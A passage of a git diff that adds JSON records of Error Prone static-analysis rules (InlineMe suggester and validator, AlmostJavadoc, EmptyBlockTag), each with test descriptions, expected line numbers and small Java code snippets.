}\n\n public void foo(Duration duration) {}\n}" + }, + { + "description": "accessPrivateVariable", + "expected-problems": null, + "expected-linenumbers": [ + 746 + ], + "code": "package com.google.frobber;\n\n import java.time.Duration;\n\n public final class Client {\n private final Duration myDuration = Duration.ZERO;\n\n @Deprecated\n public boolean silly() {\n return myDuration.isZero();\n }\n }" + }, + { + "description": "accessPrivateMethod", + "expected-problems": null, + "expected-linenumbers": [ + 770 + ], + "code": "package com.google.frobber;\n\n public final class Client {\n @Deprecated\n public boolean silly() {\n return privateDelegate();\n }\n\n private boolean privateDelegate() {\n return false;\n }\n }" + }, + { + "description": "tryWithResources", + "expected-problems": null, + "expected-linenumbers": [ + 794 + ], + "code": "import java.io.BufferedReader;\n import java.io.FileReader;\n import java.io.IOException;\n\n public class Client {\n @Deprecated\n public String readLine(String path) throws IOException {\n try (BufferedReader br = new BufferedReader(new FileReader(path))) {\n return br.readLine();\n }\n }\n }" + }, + { + "description": "ifStatement", + "expected-problems": null, + "expected-linenumbers": [ + 818 + ], + "code": "public class Client {\n @Deprecated\n public void foo(String input) {\n if (input.equals(\"hi\")) {\n return;\n }\n }\n }" + }, + { + "description": "nestedBlock", + "expected-problems": null, + "expected-linenumbers": [ + 838 + ], + "code": "public class Client {\n @Deprecated\n public String foo(String input) {\n {\n return input.toLowerCase();\n }\n }\n }" + }, + { + "description": "ternaryOverMultipleLines", + "expected-problems": null, + "expected-linenumbers": [ + 858 + ], + "code": "package com.google.frobber;\n\nimport java.time.Duration;\n\npublic final class Client {\n @Deprecated\n public Duration getDeadline(Duration deadline) {\n return (deadline.compareTo(Duration.ZERO) > 0 ? Duration.ofSeconds(42) : Duration.ZERO);\n }\n}\n\n\n\npackage com.google.frobber;\n\nimport com.google.errorprone.annotations.InlineMe;\nimport java.time.Duration;\n\npublic final class Client {\n @InlineMe(\n replacement =\n \"(deadline.compareTo(Duration.ZERO) > 0 ? Duration.ofSeconds(42) : Duration.ZERO)\",\n imports = \"java.time.Duration\")\n @Deprecated\n public Duration getDeadline(Duration deadline) {\n return (deadline.compareTo(Duration.ZERO) > 0 ? Duration.ofSeconds(42) : Duration.ZERO);\n }\n}" + }, + { + "description": "staticCallingAnotherQualifiedStatic", + "expected-problems": null, + "expected-linenumbers": [ + 899 + ], + "code": "package com.google.frobber;\n\n import java.time.Duration;\n\n public final class Client {\n @Deprecated\n public static Duration getDeadline() {\n return Client.getDeadline2();\n }\n\n public static Duration getDeadline2() {\n return Duration.ZERO;\n }\n }\n\n \n\npackage com.google.frobber;\n\nimport com.google.errorprone.annotations.InlineMe;\nimport java.time.Duration;\n\npublic final class Client {\n @InlineMe(replacement = \"Client.getDeadline2()\", imports = \"com.google.frobber.Client\")\n @Deprecated\n public static Duration getDeadline() {\n return Client.getDeadline2();\n }\n\n public static Duration getDeadline2() {\n return Duration.ZERO;\n }\n}" + }, + { + "description": "staticReferenceToJavaLang", + "expected-problems": null, + "expected-linenumbers": [ + 945 + ], + "code": "package com.google.frobber;\n\n import static java.lang.String.format;\n\n public final class Client {\n @Deprecated\n public static String myFormat(String template, String arg) {\n return format(template, arg);\n }\n }\n\n \n\npackage com.google.frobber;\n\nimport static java.lang.String.format;\nimport com.google.errorprone.annotations.InlineMe;\n\npublic final class Client {\n @InlineMe(replacement = \"format(template, arg)\", staticImports = \"java.lang.String.format\")\n @Deprecated\n public static String myFormat(String template, String arg) {\n return format(template, arg);\n }\n}" + }, + { + "description": "replacementContainsGenericInvocation", + "expected-problems": null, + "expected-linenumbers": [ + 983 + ], + "code": "package com.google.frobber;\n\n import java.util.ArrayList;\n import java.util.List;\n\n public final class Client {\n @Deprecated\n public static List newArrayList() {\n return new ArrayList();\n }\n }\n\n \n\n package com.google.frobber;\n\n import com.google.errorprone.annotations.InlineMe;\n import java.util.ArrayList;\n import java.util.List;\n\n public final class Client {\n @InlineMe(replacement = \"new ArrayList()\", imports = \"java.util.ArrayList\")\n @Deprecated\n public static List newArrayList() {\n return new ArrayList();\n }\n }" + }, + { + "description": "suggestedFinalOnOtherwiseGoodMethod", + "expected-problems": null, + "expected-linenumbers": [ + 1023 + ], + "code": "package com.google.frobber;\n\n public class Client {\n @Deprecated\n public int method() {\n return 42;\n }\n }\n\n \n\n package com.google.frobber;\n\n import com.google.errorprone.annotations.InlineMe;\n\n public class Client {\n @InlineMe(replacement = \"42\")\n @Deprecated\n public final int method() {\n return 42;\n }\n }" + }, + { + "description": "dontSuggestOnDefaultMethods", + "expected-problems": null, + "expected-linenumbers": [ + 1058 + ], + "code": "package com.google.frobber;\n\n public interface Client {\n @Deprecated\n public default int method() {\n return 42;\n }\n }" + }, + { + "description": "deprecatedConstructorInNonFinalClass", + "expected-problems": null, + "expected-linenumbers": [ + 1080 + ], + "code": "package com.google.frobber;\n\n public class Client {\n @Deprecated\n public Client() {\n this(42);\n }\n\n public Client(int value) {}\n }\n\n \n\n package com.google.frobber;\n\n import com.google.errorprone.annotations.InlineMe;\n\n public class Client {\n @InlineMe(replacement = \"this(42)\")\n @Deprecated\n public Client() {\n this(42);\n }\n\n public Client(int value) {}\n }" + }, + { + "description": "publicStaticFactoryCallsPrivateConstructor", + "expected-problems": null, + "expected-linenumbers": [ + 1119 + ], + "code": "package com.google.frobber;\n\n public class Client {\n @Deprecated\n public static Client create() {\n return new Client();\n }\n\n private Client() {}\n }" + }, + { + "description": "deprecatedMethodWithDoNotCall", + "expected-problems": null, + "expected-linenumbers": [ + 1141 + ], + "code": "package com.google.frobber;\n\n import com.google.errorprone.annotations.DoNotCall;\n\n public class Client {\n @DoNotCall\n @Deprecated\n public void before() {\n after();\n }\n\n public void after() {}\n }" + }, + { + "description": "implementationUsingPublicStaticField", + "expected-problems": null, + "expected-linenumbers": [ + 1166 + ], + "code": "package com.google.frobber;\n\n import java.util.function.Supplier;\n\n public class Client {\n public static final Supplier MAGIC = () -> 42;\n\n @Deprecated\n public static int before() {\n return after(MAGIC.get());\n }\n\n public static int after(int value) {\n return value;\n }\n }\n\n \n\npackage com.google.frobber;\n\nimport com.google.errorprone.annotations.InlineMe;\nimport java.util.function.Supplier;\n\npublic class Client {\n public static final Supplier MAGIC = () -> 42;\n\n @InlineMe(replacement = \"Client.after(MAGIC.get())\", imports = \"com.google.frobber.Client\")\n @Deprecated\n public static int before() {\n return after(MAGIC.get());\n }\n\n public static int after(int value) {\n return value;\n }\n}" + }, + { + "description": "apisLikelyUsedReflectively", + "expected-problems": null, + "expected-linenumbers": [ + 1217 + ], + "code": "import com.google.errorprone.annotations.Keep;\n import com.google.inject.Provides;\n import java.time.Duration;\n import java.util.Optional;\n\n public class Test {\n @Deprecated\n @Provides\n public Optional provides(Optional input) {\n return input.map(Duration::ofMillis);\n }\n\n @Deprecated\n @Keep\n public Optional reflective(Optional input) {\n return input.map(Duration::ofMillis);\n }\n }" + }, + { + "description": "importStatic_getsCorrectlySuggestedAsStaticImports", + "expected-problems": null, + "expected-linenumbers": [ + 1247 + ], + "code": "package com.google.security.keymaster;\n\n import static java.nio.charset.StandardCharsets.US_ASCII;\n import com.google.errorprone.annotations.InlineMe;\n\n public final class KeymasterEncrypter {\n @Deprecated\n public final byte[] encryptASCII(String plaintext) {\n return encrypt(plaintext.getBytes(US_ASCII));\n }\n\n public byte[] encrypt(byte[] plaintext) {\n return plaintext;\n }\n }\n\n \n\n package com.google.security.keymaster;\n\n import static java.nio.charset.StandardCharsets.US_ASCII;\n import com.google.errorprone.annotations.InlineMe;\n\n public final class KeymasterEncrypter {\n @InlineMe(\n replacement = \"this.encrypt(plaintext.getBytes(US_ASCII))\",\n staticImports = \"java.nio.charset.StandardCharsets.US_ASCII\")\n @Deprecated\n public final byte[] encryptASCII(String plaintext) {\n return encrypt(plaintext.getBytes(US_ASCII));\n }\n\n public byte[] encrypt(byte[] plaintext) {\n return plaintext;\n }\n }" + }, + { + "description": "importStatic_getsIncorrectlySuggestedAsImportsInsteadOfStaticImports", + "expected-problems": null, + "expected-linenumbers": [ + 1296 + ], + "code": "package com.google.security.keymaster;\n\n import static java.nio.charset.StandardCharsets.US_ASCII;\n import com.google.errorprone.annotations.InlineMe;\n\n public final class KeymasterCrypter {\n @Deprecated\n public final String decryptASCII(byte[] ciphertext) {\n return new String(decrypt(ciphertext), US_ASCII);\n }\n\n public byte[] decrypt(byte[] ciphertext) {\n return ciphertext;\n }\n }" + }, + { + "description": "noInlineMeSuggestionWhenParameterNamesAreArgN", + "expected-problems": null, + "expected-linenumbers": [ + 1343 + ], + "code": "public final class Client {\n @Deprecated\n public void before(int arg0, int arg1) {\n after(arg0, arg1);\n }\n\n public void after(int arg0, int arg1) {}\n }" + }, + { + "description": "inlineMeSuggestionWhenParameterNamesAreNotArgN", + "expected-problems": null, + "expected-linenumbers": [ + 1362 + ], + "code": "public final class Client {\n @Deprecated\n public void before(int int0, int int1) {\n after(int0, int1);\n }\n\n public void after(int int0, int int1) {}\n }\n \n\n import com.google.errorprone.annotations.InlineMe;\n\n public final class Client {\n @InlineMe(replacement = \"this.after(int0, int1)\")\n @Deprecated\n public void before(int int0, int int1) {\n after(int0, int1);\n }\n\n public void after(int int0, int int1) {}\n }" + }, + { + "description": "deprecatedConstructorSuperCall", + "expected-problems": null, + "expected-linenumbers": [ + 1395 + ], + "code": "public final class ExecutionError extends Error {\n @Deprecated\n public ExecutionError(String message) {\n super(message);\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inlineme/Validator.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inlineme/Validator.json new file mode 100644 index 0000000..c6224ec --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/inlineme/Validator.json @@ -0,0 +1,334 @@ +{ + "name": "Validator", + "language": "java", + "description": "Ensures that the @InlineMe annotation is used correctly.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 182, + "branches": 19, + "apis": 8, + "test": [ + { + "description": "staticFactoryToConstructor", + "expected-problems": null, + "expected-linenumbers": [ + 33 + ], + "code": "package com.google.foo;\n\n import com.google.errorprone.annotations.InlineMe;\n\n public final class Client {\n @InlineMe(\n replacement = \"new Client()\",\n imports = {\"com.google.foo.Client\"})\n @Deprecated\n public static Client create() {\n return new Client();\n }\n\n public Client() {}\n }" + }, + { + "description": "annotationWithImportsAsASingleMember", + "expected-problems": null, + "expected-linenumbers": [ + 59 + ], + "code": "package com.google.foo;\n\n import com.google.errorprone.annotations.InlineMe;\n\n public final class Client {\n @InlineMe(replacement = \"new Client()\", imports = \"com.google.foo.Client\")\n @Deprecated\n public static Client create() {\n return new Client();\n }\n\n public Client() {}\n }" + }, + { + "description": "arrayConstructor_fromInstanceMethod", + "expected-problems": null, + "expected-linenumbers": [ + 83 + ], + "code": "import com.google.errorprone.annotations.InlineMe;\n import java.time.Duration;\n\n public final class Foo {\n @InlineMe(\n replacement = \"new Duration[size]\",\n imports = {\"java.time.Duration\"})\n @Deprecated\n public Duration[] someDurations(int size) {\n return new Duration[size];\n }\n }" + }, + { + "description": "arrayConstructor_fromStaticMethod", + "expected-problems": null, + "expected-linenumbers": [ + 106 + ], + "code": "import com.google.errorprone.annotations.InlineMe;\n import java.time.Duration;\n\n public final class Foo {\n @InlineMe(\n replacement = \"new Duration[size]\",\n imports = {\"java.time.Duration\"})\n @Deprecated\n public static Duration[] someDurations(int size) {\n return new Duration[size];\n }\n }" + }, + { + "description": "instanceMethod_withInlineComment", + "expected-problems": null, + "expected-linenumbers": [ + 129 + ], + "code": "import com.google.errorprone.annotations.InlineMe;\n import java.util.function.Supplier;\n\n public final class Client {\n @InlineMe(replacement = \"this.after(string)\")\n @Deprecated\n public void before(String string) {\n after(/* string= */ string);\n }\n\n public void after(String string) {}\n }" + }, + { + "description": "instanceMethod_withInlineCommentInAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 152 + ], + "code": "import com.google.errorprone.annotations.InlineMe;\n import java.util.function.Supplier;\n\n public final class Client {\n @InlineMe(replacement = \"this.after(/* name= */ name)\")\n @Deprecated\n public void before(String name) {\n after(/* name= */ name);\n }\n\n public void after(String name) {}\n }" + }, + { + "description": "instanceMethod_with2InlineCommentInAnnotation", + "expected-problems": null, + "expected-linenumbers": [ + 175 + ], + "code": "import com.google.errorprone.annotations.InlineMe;\n import java.util.function.Supplier;\n\n public final class Client {\n @InlineMe(replacement = \"this.after(/* name1= */ name1, /* name2= */ name2)\")\n @Deprecated\n public void before(String name1, String name2) {\n after(/* name1= */ name1, /* name2= */ name2);\n }\n\n public void after(String name1, String name2) {}\n }" + }, + { + "description": "instanceMethod_withTrailingComment", + "expected-problems": null, + "expected-linenumbers": [ + 198 + ], + "code": "import com.google.errorprone.annotations.InlineMe;\n import java.util.function.Supplier;\n\n public final class Client {\n @InlineMe(replacement = \"this.after(string)\")\n @Deprecated\n public void before(String string) {\n after( // string\n string);\n }\n\n public void after(String string) {}\n }" + }, + { + "description": "instanceMethod_withLambda", + "expected-problems": null, + "expected-linenumbers": [ + 222 + ], + "code": "import com.google.errorprone.annotations.InlineMe;\n import java.util.function.Supplier;\n\n public final class Client {\n @InlineMe(replacement = \"this.after(() -> string);\")\n @Deprecated\n // BUG: Diagnostic contains: evaluation timing\n public void before(String string) {\n after(() -> string);\n }\n\n public void after(Supplier supplier) {}\n }" + }, + { + "description": "instanceMethod_ternaryExpression_varsInCondition", + "expected-problems": null, + "expected-linenumbers": [ + 246 + ], + "code": "" + }, + { + "description": "instanceMethod_ternaryExpression_varsInOtherArms", + "expected-problems": null, + "expected-linenumbers": [ + 266 + ], + "code": "import com.google.errorprone.annotations.InlineMe;\n\n public final class Client {\n @InlineMe(replacement = \"this.after(x > 0 ? y : false)\")\n @Deprecated\n // BUG: Diagnostic contains: evaluation timing\n public boolean before(int x, boolean y) {\n return after(x > 0 ? y : true);\n }\n\n public boolean after(boolean b) {\n return !b;\n }\n }" + }, + { + "description": "instanceMethod_topLevelTernary", + "expected-problems": null, + "expected-linenumbers": [ + 291 + ], + "code": "import com.google.errorprone.annotations.InlineMe;\n\n public final class Client {\n @InlineMe(replacement = \"x == y ? this.a() : this.b()\")\n // BUG: Diagnostic contains: complex statement\n public boolean before(int x, int y) {\n return x == y ? a() : b();\n }\n\n public boolean a() {\n return true;\n }\n\n public boolean b() {\n return false;\n }\n }" + }, + { + "description": "instanceMethod_withLambdaAndVariable", + "expected-problems": null, + "expected-linenumbers": [ + 319 + ], + "code": "import com.google.errorprone.annotations.InlineMe;\n import java.util.function.Function;\n\n public final class Client {\n @InlineMe(replacement = \"this.after(str -> Integer.parseInt(str))\")\n @Deprecated\n public void before() {\n after(str -> Integer.parseInt(str));\n }\n\n public void after(Function function) {}\n }" + }, + { + "description": "instanceMethod_privateVariable", + "expected-problems": null, + "expected-linenumbers": [ + 342 + ], + "code": "import com.google.errorprone.annotations.InlineMe;\n\n public final class Client {\n private final String str = null;\n\n @InlineMe(replacement = \"str;\")\n @Deprecated\n // BUG: Diagnostic contains: deprecated or less visible API elements: str\n public String before() {\n return str;\n }\n }" + }, + { + "description": "instanceMethod_publicVariable", + "expected-problems": null, + "expected-linenumbers": [ + 365 + ], + "code": "import com.google.errorprone.annotations.InlineMe;\n\n public final class Client {\n public final String str = null;\n\n @InlineMe(replacement = \"this.str\")\n @Deprecated\n public String before() {\n return str;\n }\n }" + }, + { + "description": "instanceMethod_privateMethod", + "expected-problems": null, + "expected-linenumbers": [ + 387 + ], + "code": "import com.google.errorprone.annotations.InlineMe;\n\n public final class Client {\n @InlineMe(replacement = \"this.privateMethod();\")\n @Deprecated\n // BUG: Diagnostic contains: deprecated or less visible API elements: privateMethod()\n public String before() {\n return privateMethod();\n }\n\n private String privateMethod() {\n return null;\n }\n }" + }, + { + "description": "instanceMethod_splitOverMultipleLines_withLambda", + "expected-problems": null, + "expected-linenumbers": [ + 412 + ], + "code": "import com.google.errorprone.annotations.InlineMe;\n import java.util.function.Supplier;\n\n public final class Client {\n @InlineMe(replacement = \"this.after(() -> string);\")\n @Deprecated\n // BUG: Diagnostic contains: evaluation timing\n public void before(String string) {\n after(() -> string);\n }\n\n public void after(Supplier supplier) {}\n }" + }, + { + "description": "constructor", + "expected-problems": null, + "expected-linenumbers": [ + 438 + ], + "code": "import com.google.common.base.Ticker;\n import com.google.errorprone.annotations.InlineMe;\n\n public final class ProfileTimer {\n @InlineMe(\n replacement = \"this(Ticker.systemTicker(), name)\",\n imports = {\"com.google.common.base.Ticker\"})\n @Deprecated\n public ProfileTimer(String name) {\n this(Ticker.systemTicker(), name);\n }\n\n public ProfileTimer(Ticker ticker, String name) {}\n }" + }, + { + "description": "missingImport", + "expected-problems": null, + "expected-linenumbers": [ + 463 + ], + "code": "import com.google.errorprone.annotations.InlineMe;\n import java.time.Duration;\n\n public final class Client {\n @InlineMe(replacement = \"this.setDeadline(Duration.ofMillis(millis))\")\n @Deprecated\n // BUG: Diagnostic matches: BAR\n public void setDeadlineInMillis(long millis) {\n this.setDeadline(Duration.ofMillis(millis));\n }\n\n public void setDeadline(Duration deadline) {}\n }" + }, + { + "description": "fullQualifiedReplacementType", + "expected-problems": null, + "expected-linenumbers": [ + 492 + ], + "code": "import com.google.errorprone.annotations.InlineMe;\n\n public final class Client {\n @InlineMe(replacement = \"this.setDeadline(java.time.Duration.ofMillis(millis))\")\n @Deprecated\n public void setDeadlineInMillis(long millis) {\n this.setDeadline(java.time.Duration.ofMillis(millis));\n }\n\n public void setDeadline(java.time.Duration deadline) {}\n }" + }, + { + "description": "replacementWithJavaLangClass", + "expected-problems": null, + "expected-linenumbers": [ + 514 + ], + "code": "import com.google.errorprone.annotations.InlineMe;\n\n public final class Client {\n @Deprecated\n @InlineMe(replacement = \"this.after(String.valueOf(value))\")\n public void before(long value) {\n after(String.valueOf(value));\n }\n\n public void after(String string) {}\n }" + }, + { + "description": "stringLiteralThatLooksLikeAMethodCall", + "expected-problems": null, + "expected-linenumbers": [ + 536 + ], + "code": "import com.google.errorprone.annotations.InlineMe;\n\n public final class Client {\n @InlineMe(replacement = \"this.after(\\\\\"not actually() a method call\\\\\")\")\n @Deprecated\n public void before() {\n after(\"not actually() a method call\");\n }\n\n public void after(String string) {}\n }" + }, + { + "description": "tryStatement", + "expected-problems": null, + "expected-linenumbers": [ + 558 + ], + "code": "import com.google.errorprone.annotations.InlineMe;\n\n public final class Client {\n @InlineMe(replacement = \"try { int x = 0; } catch (RuntimeException e) {}\")\n @Deprecated\n // BUG: Diagnostic contains: InlineMe cannot inline complex statements\n public void before() {\n try {\n int x = 0;\n } catch (RuntimeException e) {\n }\n }\n }" + }, + { + "description": "noOpMethod", + "expected-problems": null, + "expected-linenumbers": [ + 582 + ], + "code": "import com.google.errorprone.annotations.InlineMe;\n\n public final class RpcClient {\n @InlineMe(replacement = \"\")\n @Deprecated\n // BUG: Diagnostic contains: only inline methods with exactly 1 statement\n public void setDeadline(org.joda.time.Duration deadline) {}\n }" + }, + { + "description": "instanceMethod_withConstant", + "expected-problems": null, + "expected-linenumbers": [ + 600 + ], + "code": "import com.google.errorprone.annotations.InlineMe;\n import java.time.Duration;\n\n public final class Client {\n @InlineMe(\n replacement = \"this.after(Duration.ZERO)\",\n imports = {\"java.time.Duration\"})\n @Deprecated\n public void before() {\n after(Duration.ZERO);\n }\n\n public void after(Duration duration) {}\n }" + }, + { + "description": "instanceMethod_withConstantStaticallyImported", + "expected-problems": null, + "expected-linenumbers": [ + 625 + ], + "code": "import static java.time.Duration.ZERO;\n import com.google.errorprone.annotations.InlineMe;\n import java.time.Duration;\n\n public final class Client {\n @InlineMe(\n replacement = \"this.after(ZERO)\",\n staticImports = {\"java.time.Duration.ZERO\"})\n @Deprecated\n public void before() {\n after(ZERO);\n }\n\n public void after(Duration duration) {}\n }" + }, + { + "description": "staticMethod_typeParameter", + "expected-problems": null, + "expected-linenumbers": [ + 651 + ], + "code": "package com.google.foo;\n\n import com.google.errorprone.annotations.InlineMe;\n\n public final class Client {\n @Deprecated\n @InlineMe(\n replacement = \"Client.after()\",\n imports = {\"com.google.foo.Client\"})\n public static T before() {\n return after();\n }\n\n public static T after() {\n return (T) null;\n }\n }" + }, + { + "description": "allowingNestedClassImport", + "expected-problems": null, + "expected-linenumbers": [ + 682 + ], + "code": "" + }, + { + "description": "nestedClassWithInstanceMethodCallingStatic_implementationQualified", + "expected-problems": null, + "expected-linenumbers": [ + 712 + ], + "code": "package com.google.frobber;\n\n import com.google.errorprone.annotations.InlineMe;\n import java.time.Duration;\n\n public final class Client {\n public static final class Builder {\n @InlineMe(\n replacement = \"this.setDeadline(Client.Builder.parseDuration(deadline))\",\n imports = {\"com.google.frobber.Client\"})\n @Deprecated\n public void setDeadline(String deadline) {\n setDeadline(Client.Builder.parseDuration(deadline));\n }\n\n public void setDeadline(Duration deadline) {}\n\n public static Duration parseDuration(String string) {\n return Duration.parse(string);\n }\n }\n }" + }, + { + "description": "assignmentToPrivateField", + "expected-problems": null, + "expected-linenumbers": [ + 745 + ], + "code": "import com.google.errorprone.annotations.InlineMe;\n\n public final class RpcClient {\n private String name;\n\n @InlineMe(replacement = \"this.name = name;\")\n @Deprecated\n // BUG: Diagnostic contains: deprecated or less visible API elements: this.name\n public void setName(String name) {\n this.name = name;\n }\n }" + }, + { + "description": "assignmentToPublicField", + "expected-problems": null, + "expected-linenumbers": [ + 768 + ], + "code": "import com.google.errorprone.annotations.InlineMe;\n\n public final class RpcClient {\n public String name;\n\n @InlineMe(replacement = \"this.name = name\")\n @Deprecated\n public void setName(String name) {\n this.name = name;\n }\n }" + }, + { + "description": "suppressionWithSuppressWarningsDoesntWork", + "expected-problems": null, + "expected-linenumbers": [ + 790 + ], + "code": "import com.google.errorprone.annotations.InlineMe;\n\n public final class Client {\n @SuppressWarnings(\"InlineMeValidator\")\n @Deprecated\n @InlineMe(replacement = \"Client.create()\", imports = \"foo.Client\")\n // BUG: Diagnostic contains: cannot be applied\n public Client() {}\n\n public static Client create() {\n return new Client();\n }\n }" + }, + { + "description": "suppressionWithCustomAnnotationWorks", + "expected-problems": null, + "expected-linenumbers": [ + 814 + ], + "code": "import com.google.errorprone.annotations.InlineMe;\n import com.google.errorprone.annotations.InlineMeValidationDisabled;\n\n public final class Client {\n @InlineMeValidationDisabled(\"Migrating to factory method\")\n @Deprecated\n @InlineMe(replacement = \"Client.create()\", imports = \"foo.Client\")\n public Client() {}\n\n public static Client create() {\n return new Client();\n }\n }" + }, + { + "description": "varargsPositive", + "expected-problems": null, + "expected-linenumbers": [ + 838 + ], + "code": "" + }, + { + "description": "varargs_toNonVarargsMethod", + "expected-problems": null, + "expected-linenumbers": [ + 867 + ], + "code": "import com.google.errorprone.annotations.InlineMe;\n\n public final class Client {\n @Deprecated\n @InlineMe(replacement = \"this.after(inputs)\")\n // BUG: Diagnostic contains: varargs\n public void before(int... inputs) {\n after(inputs);\n }\n\n public void after(int[] inputs) {}\n }" + }, + { + "description": "returnVoidMethod", + "expected-problems": null, + "expected-linenumbers": [ + 890 + ], + "code": "import com.google.errorprone.annotations.InlineMe;\n\n public final class Client {\n @Deprecated\n @InlineMe(replacement = \"return\")\n // BUG: Diagnostic contains: InlineMe cannot yet be applied to no-op void methods\n public void noOp() {\n return;\n }\n }" + }, + { + "description": "multiply", + "expected-problems": null, + "expected-linenumbers": [ + 911 + ], + "code": "import com.google.errorprone.annotations.InlineMe;\n\n public final class Client {\n @Deprecated\n @InlineMe(replacement = \"x * y\")\n public final int multiply(int x, int y) {\n return x * y;\n }\n }" + }, + { + "description": "customInlineMe", + "expected-problems": null, + "expected-linenumbers": [ + 931 + ], + "code": "package bespoke;\n\n public @interface InlineMe {\n String replacement();\n\n String[] imports() default {};\n\n String[] staticImports() default {};\n }" + }, + { + "description": "validationFailsWhenParameterNamesAreArgN", + "expected-problems": null, + "expected-linenumbers": [ + 964 + ], + "code": "import com.google.errorprone.annotations.InlineMe;\n\n public final class Client {\n @Deprecated\n @InlineMe(replacement = \"this.after(arg0, arg1)\")\n // BUG: Diagnostic contains: `arg[0-9]+`\n public void before(int arg0, int arg1) {\n after(arg0, arg1);\n }\n\n public void after(int arg0, int arg1) {}\n }" + }, + { + "description": "cleanupInlineMes_records", + "expected-problems": null, + "expected-linenumbers": [ + 986 + ], + "code": "package com.google.frobber;\n\n import com.google.errorprone.annotations.InlineMe;\n\n public final class Client {\n public record SomeRecord(long id) {\n @InlineMe(replacement = \"this.id()\")\n public long getId() {\n return id();\n }\n }\n }\n \n\n package com.google.frobber;\n\n import com.google.errorprone.annotations.InlineMe;\n\n public final class Client {\n public record SomeRecord(long id) {}\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/AlmostJavadoc.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/AlmostJavadoc.json new file mode 100644 index 0000000..a61b790 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/AlmostJavadoc.json @@ -0,0 +1,110 @@ +{ + "name": "AlmostJavadoc", + "language": "java", + "description": "This comment contains Javadoc or HTML tags, but isn't started with a double asterisk (/**); is it meant to be Javadoc?", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 117, + "branches": 12, + "apis": 1, + "test": [ + { + "description": "refactoring", + "expected-problems": null, + "expected-linenumbers": [ + 36 + ], + "code": "public class Test {\n /* Foo {@link Test}. */\n void foo() {}\n\n /*\n * Bar.\n *\n * @param bar bar\n */\n void bar(int bar) {}\n }\n \n\n public class Test {\n /** Foo {@link Test}. */\n void foo() {}\n\n /**\n * Bar.\n *\n * @param bar bar\n */\n void bar(int bar) {}\n }" + }, + { + "description": "notJavadocButNoTag", + "expected-problems": null, + "expected-linenumbers": [ + 72 + ], + "code": "public class Test {\n /* Foo. */\n void foo() {}\n }" + }, + { + "description": "blockCommentWithMultilineClose", + "expected-problems": null, + "expected-linenumbers": [ + 86 + ], + "code": "interface Test {\n // Foo. {@link Test} */\n void foo();\n\n // ** Bar. {@link Test} */\n void bar();\n\n // /** Baz. {@link Test} */\n void baz();\n }\n \n\n interface Test {\n /** Foo. {@link Test} */\n void foo();\n\n /** Bar. {@link Test} */\n void bar();\n\n /** Baz. {@link Test} */\n void baz();\n }" + }, + { + "description": "pathlogicalBlockCommentCases", + "expected-problems": null, + "expected-linenumbers": [ + 120 + ], + "code": "interface Test {\n // */\n void foo();\n\n // bar /* bar */\n void bar();\n\n // Baz. */\n void baz();\n\n // ** Foobar. */\n void foobar();\n\n // /** Barbaz. */\n void barbaz();\n }" + }, + { + "description": "suppression", + "expected-problems": null, + "expected-linenumbers": [ + 146 + ], + "code": "public class Test {\n /* Foo {@link Test}. */\n @SuppressWarnings(\"AlmostJavadoc\")\n void foo() {}\n }" + }, + { + "description": "alreadyHasJavadoc_noMatch", + "expected-problems": null, + "expected-linenumbers": [ + 161 + ], + "code": "public class Test {\n /** Foo. */\n /* Strange extra documentation with {@link tags}. */\n void foo() {}\n }" + }, + { + "description": "htmlTag", + "expected-problems": null, + "expected-linenumbers": [ + 176 + ], + "code": "public class Test {\n // BUG: Diagnostic contains:\n /* Foo Test. */\n void foo() {}\n }" + }, + { + "description": "enumConstant", + "expected-problems": null, + "expected-linenumbers": [ + 191 + ], + "code": "public enum Test {\n // BUG: Diagnostic contains:\n /* Foo Test. */\n FOO\n }" + }, + { + "description": "abstractEnumConstant", + "expected-problems": null, + "expected-linenumbers": [ + 206 + ], + "code": "public enum Test {\n // BUG: Diagnostic contains:\n /* Foo Test. */\n FOO {\n @Override\n public String toString() {\n return null;\n }\n }\n }" + }, + { + "description": "multiField", + "expected-problems": null, + "expected-linenumbers": [ + 226 + ], + "code": "public class Test {\n // BUG: Diagnostic contains:\n /* Foo Test. */\n int x = 1, y = 2;\n }" + }, + { + "description": "doesNotFireOnTemplateParameters", + "expected-problems": null, + "expected-linenumbers": [ + 241 + ], + "code": "public class Test {\n /* Foo. */\n int x = 1, y = 2;\n }" + }, + { + "description": "nonJavadoccablePosition", + "expected-problems": null, + "expected-linenumbers": [ + 255 + ], + "code": "public class Test {\n void foo() {\n /* Foo {@link Test}. */\n class Foo {}\n }\n }" + } + ] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/EmptyBlockTag.json b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/EmptyBlockTag.json new file mode 100644 index 0000000..e605296 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Error-prone/Rule Information/checkers/javadoc/EmptyBlockTag.json @@ -0,0 +1,134 @@ +{ + "name": "EmptyBlockTag", + "language": "java", + "description": "A block tag (@param, @return, @throws, @deprecated) has an empty description. Block tags without descriptions don't add much value for future readers of the code; consider removing the tag entirely or adding a description.", + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 115, + "branches": 6, + "apis": 3, + "test": [ + { + "description": "removes_emptyParam", + "expected-problems": null, + "expected-linenumbers": [ + 34 + ], + "code": "interface Test {\n /**\n * @param p\n */\n void foo(int p);\n }\n \n\n interface Test {\n /** */\n void foo(int p);\n }" + }, + { + "description": "removes_emptyThrows", + "expected-problems": null, + "expected-linenumbers": [ + 58 + ], + "code": "interface Test {\n /**\n * @throws Exception\n */\n void foo() throws Exception;\n }\n \n\n interface Test {\n /** */\n void foo() throws Exception;\n }" + }, + { + "description": "removes_emptyReturn", + "expected-problems": null, + "expected-linenumbers": [ + 82 + ], + "code": "interface Test {\n /**\n * @return\n */\n int foo();\n }\n \n\n interface Test {\n /** */\n int foo();\n }" + }, + { + "description": "removes_emptyDeprecated", + "expected-problems": 